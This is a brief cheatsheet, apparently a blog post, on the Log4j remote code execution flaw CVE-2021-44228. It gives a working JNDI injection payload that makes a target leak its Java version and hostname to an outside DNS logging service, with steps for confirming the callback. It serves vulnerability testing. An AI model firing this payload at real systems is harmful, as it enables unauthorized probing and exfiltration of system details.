Log4j Vulnerability Cheatsheet

Description

Java logging library, log4j, has an unauthenticated RCE vulnerability if a user-controlled string is logged. CVE-2021–44228

Affected versions - Apache log4j 2.0-beta9 ≤ 2.14.1

How It Works

Specially crafted payload is injected into Headers, Input Fields, or Query/Body parameters

https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.qwe3er.dnslog.cn/exp}

Enter fullscreen mode Exit fullscreen mode

1. You can use a service dnslog.cn to create your DNS subdomain for a test. Example: qwe3er.dnslog.cn

2. Use this subdomain to craft a payload and send it with the request. Check request to DNS service after some time for confirmation of successful callback

3. You should receive a similar request to DNS service (with Host & Java Version): jv-11.0.13-hn-73a957d15746.qwe3er.dnslog.cn
